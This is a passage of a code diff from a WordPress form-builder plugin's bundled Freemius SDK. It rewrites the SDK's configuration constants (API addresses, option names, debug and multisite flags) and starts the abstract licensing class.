-        define( 'WP_FS__ADDRESS', ( WP_FS__IS_PRODUCTION_MODE ? WP_FS__ADDRESS_PRODUCTION : WP_FS__ADDRESS_LOCALHOST ) );
-    }
-
-
-    #--------------------------------------------------------------------------------
-    #region API
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__API_ADDRESS_LOCALHOST' ) ) {
-        define( 'WP_FS__API_ADDRESS_LOCALHOST', 'http://api.freemius-local.com:8080' );
-    }
-    if ( ! defined( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST' ) ) {
-        define( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST', 'http://sandbox-api.freemius:8080' );
-    }
-
-    // Set API address for local testing.
-    if ( ! WP_FS__IS_PRODUCTION_MODE ) {
-        if ( ! defined( 'FS_API__ADDRESS' ) ) {
-            define( 'FS_API__ADDRESS', WP_FS__API_ADDRESS_LOCALHOST );
-        }
-        if ( ! defined( 'FS_API__SANDBOX_ADDRESS' ) ) {
-            define( 'FS_API__SANDBOX_ADDRESS', WP_FS__API_SANDBOX_ADDRESS_LOCALHOST );
-        }
-    }
-
-    #endregion
-
-    #--------------------------------------------------------------------------------
-    #region Checkout
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'FS_CHECKOUT__ADDRESS_PRODUCTION' ) ) {
-        define( 'FS_CHECKOUT__ADDRESS_PRODUCTION', 'https://checkout.freemius.com' );
-    }
-
-    if ( ! defined( 'FS_CHECKOUT__ADDRESS_LOCALHOST' ) ) {
-        define( 'FS_CHECKOUT__ADDRESS_LOCALHOST', 'http://checkout.freemius-local.com:8080' );
-    }
-
-    if ( ! defined( 'FS_CHECKOUT__ADDRESS' ) ) {
-        define( 'FS_CHECKOUT__ADDRESS', ( WP_FS__IS_PRODUCTION_MODE ? FS_CHECKOUT__ADDRESS_PRODUCTION : FS_CHECKOUT__ADDRESS_LOCALHOST ) );
-    }
-
-    #endregion
-
-    define( 'WP_FS___OPTION_PREFIX', 'fs' . ( WP_FS__IS_PRODUCTION_MODE ? '' : '_dbg' ) . '_' );
-
-    if ( ! defined( 'WP_FS__ACCOUNTS_OPTION_NAME' ) ) {
-        define( 'WP_FS__ACCOUNTS_OPTION_NAME', WP_FS___OPTION_PREFIX . 'accounts' );
-    }
-    if ( ! defined( 'WP_FS__API_CACHE_OPTION_NAME' ) ) {
-        define( 'WP_FS__API_CACHE_OPTION_NAME', WP_FS___OPTION_PREFIX . 'api_cache' );
-    }
-    if ( ! defined( 'WP_FS__GDPR_OPTION_NAME' ) ) {
-        define( 'WP_FS__GDPR_OPTION_NAME', WP_FS___OPTION_PREFIX . 'gdpr' );
-    }
-    define( 'WP_FS__OPTIONS_OPTION_NAME', WP_FS___OPTION_PREFIX . 'options' );
-
-    /**
-     * Module types
-     *
-     * @since 1.2.2
-     */
-    define( 'WP_FS__MODULE_TYPE_PLUGIN', 'plugin' );
-    define( 'WP_FS__MODULE_TYPE_THEME', 'theme' );
-
-    /**
-     * Billing Frequencies
-     */
-    define( 'WP_FS__PERIOD_ANNUALLY', 'annual' );
-    define( 'WP_FS__PERIOD_MONTHLY', 'monthly' );
-    define( 'WP_FS__PERIOD_LIFETIME', 'lifetime' );
-
-    /**
-     * Plans
-     */
-    define( 'WP_FS__PLAN_DEFAULT_PAID', false );
-    define( 'WP_FS__PLAN_FREE', 'free' );
-    define( 'WP_FS__PLAN_TRIAL', 'trial' );
-
-    /**
-     * Times in seconds
-     */
-    if ( ! defined( 'WP_FS__TIME_5_MIN_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_5_MIN_IN_SEC', 300 );
-    }
-    if ( ! defined( 'WP_FS__TIME_10_MIN_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_10_MIN_IN_SEC', 600 );
-    }
-//	define( 'WP_FS__TIME_15_MIN_IN_SEC', 900 );
-    if ( ! defined( 'WP_FS__TIME_12_HOURS_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_12_HOURS_IN_SEC', 43200 );
-    }
-    if ( ! defined( 'WP_FS__TIME_24_HOURS_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_24_HOURS_IN_SEC', WP_FS__TIME_12_HOURS_IN_SEC * 2 );
-    }
-    if ( ! defined( 'WP_FS__TIME_WEEK_IN_SEC' ) ) {
-        define( 'WP_FS__TIME_WEEK_IN_SEC', 7 * WP_FS__TIME_24_HOURS_IN_SEC );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region Debugging
-    #--------------------------------------------------------------------------------
-
-    if ( ! defined( 'WP_FS__DEBUG_SDK' ) ) {
-        $debug_mode = get_option( 'fs_debug_mode', null );
-
-        if ( $debug_mode === null ) {
-            $debug_mode = false;
-            add_option( 'fs_debug_mode', $debug_mode );
-        }
-
-        define( 'WP_FS__DEBUG_SDK', is_numeric( $debug_mode ) ? ( 0 < $debug_mode ) : WP_FS__DEV_MODE );
-    }
-
-    if ( ! defined( 'WP_FS__ECHO_DEBUG_SDK' ) ) {
-        define( 'WP_FS__ECHO_DEBUG_SDK', WP_FS__DEV_MODE && ! empty( $_GET['fs_dbg_echo'] ) );
-    }
-    if ( ! defined( 'WP_FS__LOG_DATETIME_FORMAT' ) ) {
-        define( 'WP_FS__LOG_DATETIME_FORMAT', 'Y-m-d H:i:s' );
-    }
-    if ( ! defined( 'FS_API__LOGGER_ON' ) ) {
-        define( 'FS_API__LOGGER_ON', WP_FS__DEBUG_SDK );
-    }
-
-    if ( WP_FS__ECHO_DEBUG_SDK ) {
-        error_reporting( E_ALL );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__SCRIPT_START_TIME' ) ) {
-        define( 'WP_FS__SCRIPT_START_TIME', time() );
-    }
-    if ( ! defined( 'WP_FS__DEFAULT_PRIORITY' ) ) {
-        define( 'WP_FS__DEFAULT_PRIORITY', 10 );
-    }
-    if ( ! defined( 'WP_FS__LOWEST_PRIORITY' ) ) {
-        define( 'WP_FS__LOWEST_PRIORITY', 999999999 );
-    }
-
-    #--------------------------------------------------------------------------------
-    #region Multisite Network
-    #--------------------------------------------------------------------------------
-
-    /**
-     * Do not use this define directly, it will have the wrong value
-     * during plugin uninstall/deletion when the inclusion of the plugin
-     * is triggered due to registration with register_uninstall_hook().
-     *
-     * Instead, use fs_is_network_admin().
-     *
-     * @author Vova Feldman (@svovaf)
-     */
-    if ( ! defined( 'WP_FS__IS_NETWORK_ADMIN' ) ) {
-        define( 'WP_FS__IS_NETWORK_ADMIN',
-            is_multisite() &&
-            ( is_network_admin() ||
-              ( ( defined( 'DOING_AJAX' ) && DOING_AJAX &&
-                  ( isset( $_REQUEST['_fs_network_admin'] ) && 'true' === $_REQUEST['_fs_network_admin'] /*||
-                    ( ! empty( $_REQUEST['action'] ) && 'delete-plugin' === $_REQUEST['action'] )*/ )
-                ) ||
-                // Plugin uninstall.
-                defined( 'WP_UNINSTALL_PLUGIN' ) )
-            )
-        );
-    }
-
-    /**
-     * Do not use this define directly, it will have the wrong value
-     * during plugin uninstall/deletion when the inclusion of the plugin
-     * is triggered due to registration with register_uninstall_hook().
-     *
-     * Instead, use fs_is_blog_admin().
-     *
-     * @author Vova Feldman (@svovaf)
-     */
-    if ( ! defined( 'WP_FS__IS_BLOG_ADMIN' ) ) {
-        define( 'WP_FS__IS_BLOG_ADMIN', is_blog_admin() || ( defined( 'DOING_AJAX' ) && DOING_AJAX && isset( $_REQUEST['_fs_blog_admin'] ) ) );
-    }
-
-    if ( ! defined( 'WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED' ) ) {
-        // Set to true to show network level settings even if delegated to site admins.
-        define( 'WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED', false );
-    }
-
-    #endregion
-
-    if ( ! defined( 'WP_FS__DEMO_MODE' ) ) {
-        define( 'WP_FS__DEMO_MODE', false );
-    }
-    if ( ! defined( 'FS_SDK__SSLVERIFY' ) ) {
-        define( 'FS_SDK__SSLVERIFY', false );
-    }
+<?php
+    /**
+     * @package     Freemius
+     * @copyright   Copyright (c) 2015, Freemius, Inc.
+     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+     * @since       1.0.4
+     */
+
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
+
+    if ( ! defined( 'WP_FS__SLUG' ) ) {
+        define( 'WP_FS__SLUG', 'freemius' );
+    }
+    if ( ! defined( 'WP_FS__DEV_MODE' ) ) {
+        define( 'WP_FS__DEV_MODE', false );
+    }
+
+    #--------------------------------------------------------------------------------
+    #region API Connectivity Issues Simulation
+    #--------------------------------------------------------------------------------
+
+    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY' ) ) {
+        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY', false );
+    }
+    if ( ! defined( 'WP_FS__SIMULATE_NO_CURL' ) ) {
+        define( 'WP_FS__SIMULATE_NO_CURL', false );
+    }
+    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE' ) ) {
+        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE', false );
+    }
+    if ( ! defined( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL' ) ) {
+        define( 'WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL', false );
+    }
+    if ( WP_FS__SIMULATE_NO_CURL ) {
+        define( 'FS_SDK__SIMULATE_NO_CURL', true );
+    }
+    if ( WP_FS__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE ) {
+        define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_CLOUDFLARE', true );
+    }
+    if ( WP_FS__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL ) {
+        define( 'FS_SDK__SIMULATE_NO_API_CONNECTIVITY_SQUID_ACL', true );
+    }
+
+    #endregion
+
+    if ( ! defined( 'WP_FS__SIMULATE_FREEMIUS_OFF' ) ) {
+        define( 'WP_FS__SIMULATE_FREEMIUS_OFF', false );
+    }
+
+    if ( ! defined( 'WP_FS__PING_API_ON_IP_OR_HOST_CHANGES' ) ) {
+        /**
+         * @since  1.1.7.3
+         * @author Vova Feldman (@svovaf)
+         *
+         * I'm not sure if shared servers periodically change IP, or the subdomain of the
+         * admin dashboard. Also, I've seen sites that have strange loop of switching
+         * between domains on a daily basis. Therefore, to eliminate the risk of
+         * multiple unwanted connectivity test pings, temporary ignore domain or
+         * server IP changes.
+         */
+        define( 'WP_FS__PING_API_ON_IP_OR_HOST_CHANGES', false );
+    }
+
+    /**
+     * If your dev environment supports custom public network IP setup
+     * like VVV, please update WP_FS__LOCALHOST_IP with your public IP
+     * and uncomment it during dev.
+     */
+    if ( ! defined( 'WP_FS__LOCALHOST_IP' ) ) {
+        // VVV default public network IP.
+        define( 'WP_FS__VVV_DEFAULT_PUBLIC_IP', '192.168.50.4' );
+
+//		define( 'WP_FS__LOCALHOST_IP', WP_FS__VVV_DEFAULT_PUBLIC_IP );
+    }
+
+    /**
+     * If true and running with secret key, the opt-in process
+     * will skip the email activation process which is invoked
+     * when the email of the context user already exist in Freemius
+     * database (as a security precaution, to prevent sharing user
+     * secret with unauthorized entity).
+     *
+     * IMPORTANT:
+     *      AS A SECURITY PRECAUTION, WE VALIDATE THE TIMESTAMP OF THE OPT-IN REQUEST.
+     *      THEREFORE, MAKE SURE THAT WHEN USING THIS PARAMETER,YOUR TESTING ENVIRONMENT'S
+     *      CLOCK IS SYNCED.
+     */
+    if ( ! defined( 'WP_FS__SKIP_EMAIL_ACTIVATION' ) ) {
+        define( 'WP_FS__SKIP_EMAIL_ACTIVATION', false );
+    }
+
+
+    #--------------------------------------------------------------------------------
+    #region Directories
+    #--------------------------------------------------------------------------------
+
+    if ( ! defined( 'WP_FS__DIR' ) ) {
+        define( 'WP_FS__DIR', dirname( __FILE__ ) );
+    }
+    if ( ! defined( 'WP_FS__DIR_INCLUDES' ) ) {
+        define( 'WP_FS__DIR_INCLUDES', WP_FS__DIR . '/includes' );
+    }
+    if ( ! defined( 'WP_FS__DIR_TEMPLATES' ) ) {
+        define( 'WP_FS__DIR_TEMPLATES', WP_FS__DIR . '/templates' );
+    }
+    if ( ! defined( 'WP_FS__DIR_ASSETS' ) ) {
+        define( 'WP_FS__DIR_ASSETS', WP_FS__DIR . '/assets' );
+    }
+    if ( ! defined( 'WP_FS__DIR_CSS' ) ) {
+        define( 'WP_FS__DIR_CSS', WP_FS__DIR_ASSETS . '/css' );
+    }
+    if ( ! defined( 'WP_FS__DIR_JS' ) ) {
+        define( 'WP_FS__DIR_JS', WP_FS__DIR_ASSETS . '/js' );
+    }
+    if ( ! defined( 'WP_FS__DIR_IMG' ) ) {
+        define( 'WP_FS__DIR_IMG', WP_FS__DIR_ASSETS . '/img' );
+    }
+    if ( ! defined( 'WP_FS__DIR_SDK' ) ) {
+        define( 'WP_FS__DIR_SDK', WP_FS__DIR_INCLUDES . '/sdk' );
+    }
+
+    #endregion
+
+    /**
+     * Domain / URL / Address
+     */
+    define( 'WP_FS__ROOT_DOMAIN_PRODUCTION', 'freemius.com' );
+    define( 'WP_FS__DOMAIN_PRODUCTION', 'wp.freemius.com' );
+    define( 'WP_FS__ADDRESS_PRODUCTION', 'https://' . WP_FS__DOMAIN_PRODUCTION );
+
+    if ( ! defined( 'WP_FS__DOMAIN_LOCALHOST' ) ) {
+        define( 'WP_FS__DOMAIN_LOCALHOST', 'wp.freemius' );
+    }
+    if ( ! defined( 'WP_FS__ADDRESS_LOCALHOST' ) ) {
+        define( 'WP_FS__ADDRESS_LOCALHOST', 'http://' . WP_FS__DOMAIN_LOCALHOST . ':8080' );
+    }
+
+    if ( ! defined( 'WP_FS__TESTING_DOMAIN' ) ) {
+        define( 'WP_FS__TESTING_DOMAIN', 'fswp' );
+    }
+
+    #--------------------------------------------------------------------------------
+    #region HTTP
+    #--------------------------------------------------------------------------------
+
+    if ( ! defined( 'WP_FS__IS_HTTP_REQUEST' ) ) {
+        define( 'WP_FS__IS_HTTP_REQUEST', isset( $_SERVER['HTTP_HOST'] ) && isset( $_SERVER['REQUEST_METHOD'] ) );
+    }
+
+    if ( ! defined( 'WP_FS__IS_HTTPS' ) ) {
+        define( 'WP_FS__IS_HTTPS', ( WP_FS__IS_HTTP_REQUEST &&
+                                     // Checks if CloudFlare's HTTPS (Flexible SSL support).
+                                     isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) &&
+                                     'https' === strtolower( $_SERVER['HTTP_X_FORWARDED_PROTO'] )
+                                   ) ||
+                                   // Check if HTTPS request.
+                                   ( isset( $_SERVER['HTTPS'] ) && 'on' == $_SERVER['HTTPS'] ) ||
+                                   ( isset( $_SERVER['SERVER_PORT'] ) && 443 == $_SERVER['SERVER_PORT'] )
+        );
+    }
+
+    if ( ! defined( 'WP_FS__IS_POST_REQUEST' ) ) {
+        define( 'WP_FS__IS_POST_REQUEST', ( WP_FS__IS_HTTP_REQUEST &&
+                                            strtoupper( $_SERVER['REQUEST_METHOD'] ) == 'POST' ) );
+    }
+
+    if ( ! defined( 'WP_FS__REMOTE_ADDR' ) ) {
+        define( 'WP_FS__REMOTE_ADDR', fs_get_ip() );
+    }
+
+    if ( ! defined( 'WP_FS__IS_LOCALHOST' ) ) {
+        if ( defined( 'WP_FS__LOCALHOST_IP' ) ) {
+            define( 'WP_FS__IS_LOCALHOST', ( WP_FS__LOCALHOST_IP === WP_FS__REMOTE_ADDR ) );
+        } else {
+            define( 'WP_FS__IS_LOCALHOST', WP_FS__IS_HTTP_REQUEST &&
+                                           is_string( WP_FS__REMOTE_ADDR ) &&
+                                           ( substr( WP_FS__REMOTE_ADDR, 0, 4 ) === '127.' ||
+                                             WP_FS__REMOTE_ADDR === '::1' )
+            );
+        }
+    }
+
+    if ( ! defined( 'WP_FS__IS_LOCALHOST_FOR_SERVER' ) ) {
+        define( 'WP_FS__IS_LOCALHOST_FOR_SERVER', ( ! WP_FS__IS_HTTP_REQUEST ||
+                                                    false !== strpos( $_SERVER['HTTP_HOST'], 'localhost' ) ) );
+    }
+
+    #endregion
+
+    if ( ! defined( 'WP_FS__IS_PRODUCTION_MODE' ) ) {
+        // By default, run with Freemius production servers.
+        define( 'WP_FS__IS_PRODUCTION_MODE', true );
+    }
+
+    if ( ! defined( 'WP_FS__ADDRESS' ) ) {
+        define( 'WP_FS__ADDRESS', ( WP_FS__IS_PRODUCTION_MODE ? WP_FS__ADDRESS_PRODUCTION : WP_FS__ADDRESS_LOCALHOST ) );
+    }
+
+
+    #--------------------------------------------------------------------------------
+    #region API
+    #--------------------------------------------------------------------------------
+
+    if ( ! defined( 'WP_FS__API_ADDRESS_LOCALHOST' ) ) {
+        define( 'WP_FS__API_ADDRESS_LOCALHOST', 'http://api.freemius-local.com:8080' );
+    }
+    if ( ! defined( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST' ) ) {
+        define( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST', 'http://sandbox-api.freemius:8080' );
+    }
+
+    // Set API address for local testing.
+    if ( ! WP_FS__IS_PRODUCTION_MODE ) {
+        if ( ! defined( 'FS_API__ADDRESS' ) ) {
+            define( 'FS_API__ADDRESS', WP_FS__API_ADDRESS_LOCALHOST );
+        }
+        if ( ! defined( 'FS_API__SANDBOX_ADDRESS' ) ) {
+            define( 'FS_API__SANDBOX_ADDRESS', WP_FS__API_SANDBOX_ADDRESS_LOCALHOST );
+        }
+    }
+
+    #endregion
+
+    #--------------------------------------------------------------------------------
+    #region Checkout
+    #--------------------------------------------------------------------------------
+
+    if ( ! defined( 'FS_CHECKOUT__ADDRESS_PRODUCTION' ) ) {
+        define( 'FS_CHECKOUT__ADDRESS_PRODUCTION', 'https://checkout.freemius.com' );
+    }
+
+    if ( ! defined( 'FS_CHECKOUT__ADDRESS_LOCALHOST' ) ) {
+        define( 'FS_CHECKOUT__ADDRESS_LOCALHOST', 'http://checkout.freemius-local.com:8080' );
+    }
+
+    if ( ! defined( 'FS_CHECKOUT__ADDRESS' ) ) {
+        define( 'FS_CHECKOUT__ADDRESS', ( WP_FS__IS_PRODUCTION_MODE ? FS_CHECKOUT__ADDRESS_PRODUCTION : FS_CHECKOUT__ADDRESS_LOCALHOST ) );
+    }
+
+    #endregion
+
+    define( 'WP_FS___OPTION_PREFIX', 'fs' . ( WP_FS__IS_PRODUCTION_MODE ? '' : '_dbg' ) . '_' );
+
+    if ( ! defined( 'WP_FS__ACCOUNTS_OPTION_NAME' ) ) {
+        define( 'WP_FS__ACCOUNTS_OPTION_NAME', WP_FS___OPTION_PREFIX . 'accounts' );
+    }
+    if ( ! defined( 'WP_FS__API_CACHE_OPTION_NAME' ) ) {
+        define( 'WP_FS__API_CACHE_OPTION_NAME', WP_FS___OPTION_PREFIX . 'api_cache' );
+    }
+    if ( ! defined( 'WP_FS__GDPR_OPTION_NAME' ) ) {
+        define( 'WP_FS__GDPR_OPTION_NAME', WP_FS___OPTION_PREFIX . 'gdpr' );
+    }
+    define( 'WP_FS__OPTIONS_OPTION_NAME', WP_FS___OPTION_PREFIX . 'options' );
+
+    /**
+     * Module types
+     *
+     * @since 1.2.2
+     */
+    define( 'WP_FS__MODULE_TYPE_PLUGIN', 'plugin' );
+    define( 'WP_FS__MODULE_TYPE_THEME', 'theme' );
+
+    /**
+     * Billing Frequencies
+     */
+    define( 'WP_FS__PERIOD_ANNUALLY', 'annual' );
+    define( 'WP_FS__PERIOD_MONTHLY', 'monthly' );
+    define( 'WP_FS__PERIOD_LIFETIME', 'lifetime' );
+
+    /**
+     * Plans
+     */
+    define( 'WP_FS__PLAN_DEFAULT_PAID', false );
+    define( 'WP_FS__PLAN_FREE', 'free' );
+    define( 'WP_FS__PLAN_TRIAL', 'trial' );
+
+    /**
+     * Times in seconds
+     */
+    if ( ! defined( 'WP_FS__TIME_5_MIN_IN_SEC' ) ) {
+        define( 'WP_FS__TIME_5_MIN_IN_SEC', 300 );
+    }
+    if ( ! defined( 'WP_FS__TIME_10_MIN_IN_SEC' ) ) {
+        define( 'WP_FS__TIME_10_MIN_IN_SEC', 600 );
+    }
+//	define( 'WP_FS__TIME_15_MIN_IN_SEC', 900 );
+    if ( ! defined( 'WP_FS__TIME_12_HOURS_IN_SEC' ) ) {
+        define( 'WP_FS__TIME_12_HOURS_IN_SEC', 43200 );
+    }
+    if ( ! defined( 'WP_FS__TIME_24_HOURS_IN_SEC' ) ) {
+        define( 'WP_FS__TIME_24_HOURS_IN_SEC', WP_FS__TIME_12_HOURS_IN_SEC * 2 );
+    }
+    if ( ! defined( 'WP_FS__TIME_WEEK_IN_SEC' ) ) {
+        define( 'WP_FS__TIME_WEEK_IN_SEC', 7 * WP_FS__TIME_24_HOURS_IN_SEC );
+    }
+
+    #--------------------------------------------------------------------------------
+    #region Debugging
+    #--------------------------------------------------------------------------------
+
+    if ( ! defined( 'WP_FS__DEBUG_SDK' ) ) {
+        $debug_mode = get_option( 'fs_debug_mode', null );
+
+        if ( $debug_mode === null ) {
+            $debug_mode = false;
+            add_option( 'fs_debug_mode', $debug_mode );
+        }
+
+        define( 'WP_FS__DEBUG_SDK', is_numeric( $debug_mode ) ? ( 0 < $debug_mode ) : WP_FS__DEV_MODE );
+    }
+
+    if ( ! defined( 'WP_FS__ECHO_DEBUG_SDK' ) ) {
+        define( 'WP_FS__ECHO_DEBUG_SDK', WP_FS__DEV_MODE && ! empty( $_GET['fs_dbg_echo'] ) );
+    }
+    if ( ! defined( 'WP_FS__LOG_DATETIME_FORMAT' ) ) {
+        define( 'WP_FS__LOG_DATETIME_FORMAT', 'Y-m-d H:i:s' );
+    }
+    if ( ! defined( 'FS_API__LOGGER_ON' ) ) {
+        define( 'FS_API__LOGGER_ON', WP_FS__DEBUG_SDK );
+    }
+
+    if ( WP_FS__ECHO_DEBUG_SDK ) {
+        error_reporting( E_ALL );
+    }
+
+    #endregion
+
+    if ( ! defined( 'WP_FS__SCRIPT_START_TIME' ) ) {
+        define( 'WP_FS__SCRIPT_START_TIME', time() );
+    }
+    if ( ! defined( 'WP_FS__DEFAULT_PRIORITY' ) ) {
+        define( 'WP_FS__DEFAULT_PRIORITY', 10 );
+    }
+    if ( ! defined( 'WP_FS__LOWEST_PRIORITY' ) ) {
+        define( 'WP_FS__LOWEST_PRIORITY', 999999999 );
+    }
+
+    #--------------------------------------------------------------------------------
+    #region Multisite Network
+    #--------------------------------------------------------------------------------
+
+    /**
+     * Do not use this define directly, it will have the wrong value
+     * during plugin uninstall/deletion when the inclusion of the plugin
+     * is triggered due to registration with register_uninstall_hook().
+     *
+     * Instead, use fs_is_network_admin().
+     *
+     * @author Vova Feldman (@svovaf)
+     */
+    if ( ! defined( 'WP_FS__IS_NETWORK_ADMIN' ) ) {
+        define( 'WP_FS__IS_NETWORK_ADMIN',
+            is_multisite() &&
+            ( is_network_admin() ||
+              ( ( defined( 'DOING_AJAX' ) && DOING_AJAX &&
+                  ( isset( $_REQUEST['_fs_network_admin'] ) && 'true' === $_REQUEST['_fs_network_admin'] /*||
+                    ( ! empty( $_REQUEST['action'] ) && 'delete-plugin' === $_REQUEST['action'] )*/ )
+                ) ||
+                // Plugin uninstall.
+                defined( 'WP_UNINSTALL_PLUGIN' ) )
+            )
+        );
+    }
+
+    /**
+     * Do not use this define directly, it will have the wrong value
+     * during plugin uninstall/deletion when the inclusion of the plugin
+     * is triggered due to registration with register_uninstall_hook().
+     *
+     * Instead, use fs_is_blog_admin().
+     *
+     * @author Vova Feldman (@svovaf)
+     */
+    if ( ! defined( 'WP_FS__IS_BLOG_ADMIN' ) ) {
+        define( 'WP_FS__IS_BLOG_ADMIN', is_blog_admin() || ( defined( 'DOING_AJAX' ) && DOING_AJAX && isset( $_REQUEST['_fs_blog_admin'] ) ) );
+    }
+
+    if ( ! defined( 'WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED' ) ) {
+        // Set to true to show network level settings even if delegated to site admins.
+        define( 'WP_FS__SHOW_NETWORK_EVEN_WHEN_DELEGATED', false );
+    }
+
+    #endregion
+
+    if ( ! defined( 'WP_FS__DEMO_MODE' ) ) {
+        define( 'WP_FS__DEMO_MODE', false );
+    }
+    if ( ! defined( 'FS_SDK__SSLVERIFY' ) ) {
+        define( 'FS_SDK__SSLVERIFY', false );
+    }
--- a/nex-forms-express-wp-form-builder/vendor/freemius/includes/class-freemius-abstract.php
+++ b/nex-forms-express-wp-form-builder/vendor/freemius/includes/class-freemius-abstract.php
@@ -1,538 +1,538 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2015, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       1.0.7
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-
-	/**
-	 * - Each instance of Freemius class represents a single plugin
-	 * install by a single user (the installer of the plugin).
-	 *
-	 * - Each website can only have one install of the same plugin.
-	 *
-	 * - Install entity is only created after a user connects his account with Freemius.
-	 *
-	 * Class Freemius_Abstract
-	 */
-	abstract class Freemius_Abstract {
-
-		#----------------------------------------------------------------------------------
-		#region Identity
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if user has connected his account (opted-in).
-		 *
-		 * Note:
-		 *      If the user opted-in and opted-out on a later stage,
-		 *      this will still return true. If you want to check if the
-		 *      user is currently opted-in, use:
-		 *          `$fs->is_registered() && $fs->is_tracking_allowed()`
-		 *
-		 * @since 1.0.1
-         *
-         * @param bool $ignore_anonymous_state Since 2.5.1
-         *
-		 * @return bool
-		 */
-		abstract function is_registered( $ignore_anonymous_state = false );
-
-		/**
-		 * Check if the user skipped connecting the account with Freemius.
-		 *
-		 * @since 1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_anonymous();
-
-		/**
-		 * Check if the user currently in activation mode.
-		 *
-		 * @since 1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_activation_mode();
-
-		#endregion
-
-		#----------------------------------------------------------------------------------
-		#region Module Type
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Checks if the plugin's type is "plugin". The other type is "theme".
-		 *
-		 * @author Leo Fajardo (@leorw)
-		 * @since  1.2.2
-		 *
-		 * @return bool
-		 */
-		abstract function is_plugin();
-
-		/**
-		 * Checks if the module type is "theme". The other type is "plugin".
-		 *
-		 * @author Leo Fajardo (@leorw)
-		 * @since  1.2.2
-		 *
-		 * @return bool
-		 */
-		function is_theme() {
-			return ( ! $this->is_plugin() );
-		}
-
-		#endregion
-
-		#----------------------------------------------------------------------------------
-		#region Permissions
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if plugin must be WordPress.org compliant.
-		 *
-		 * @since 1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_org_repo_compliant();
-
-		/**
-		 * Check if plugin is allowed to install executable files.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.5
-		 *
-		 * @return bool
-		 */
-		function is_allowed_to_install() {
-			return ( $this->is_premium() || ! $this->is_org_repo_compliant() );
-		}
-
-		#endregion
-
-		/**
-		 * Check if user in trial or in free plan (not paying).
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.4
-		 *
-		 * @return bool
-		 */
-		function is_not_paying() {
-			return ( $this->is_trial() || $this->is_free_plan() );
-		}
-
-		/**
-		 * Check if the user has an activated and valid paid license on current plugin's install.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_paying();
-
-		/**
-		 * Check if the user is paying or in trial.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		function is_paying_or_trial() {
-			return ( $this->is_paying() || $this->is_trial() );
-		}
-
-		/**
-		 * Check if user in a trial or have feature enabled license.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.7
-		 *
-		 * @return bool
-		 */
-		abstract function can_use_premium_code();
-
-		#----------------------------------------------------------------------------------
-		#region Premium Only
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * All logic wrapped in methods with "__premium_only()" suffix will be only
-		 * included in the premium code.
-		 *
-		 * Example:
-		 *      if ( freemius()->is__premium_only() ) {
-		 *          ...
-		 *      }
-		 */
-
-		/**
-		 * Returns true when running premium plugin code.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		function is__premium_only() {
-			return $this->is_premium();
-		}
-
-		/**
-		 * Check if the user has an activated and valid paid license on current plugin's install.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 *
-		 */
-		function is_paying__premium_only() {
-			return ( $this->is__premium_only() && $this->is_paying() );
-		}
-
-		/**
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		function is_plan__premium_only( $plan, $exact = false ) {
-			return ( $this->is_premium() && $this->is_plan( $plan, $exact ) );
-		}
-
-		/**
-		 * Check if plan matches active license' plan or active trial license' plan.
-		 *
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		function is_plan_or_trial__premium_only( $plan, $exact = false ) {
-			return ( $this->is_premium() && $this->is_plan_or_trial( $plan, $exact ) );
-		}
-
-		/**
-		 * Check if the user is paying or in trial.
-		 *
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		function is_paying_or_trial__premium_only() {
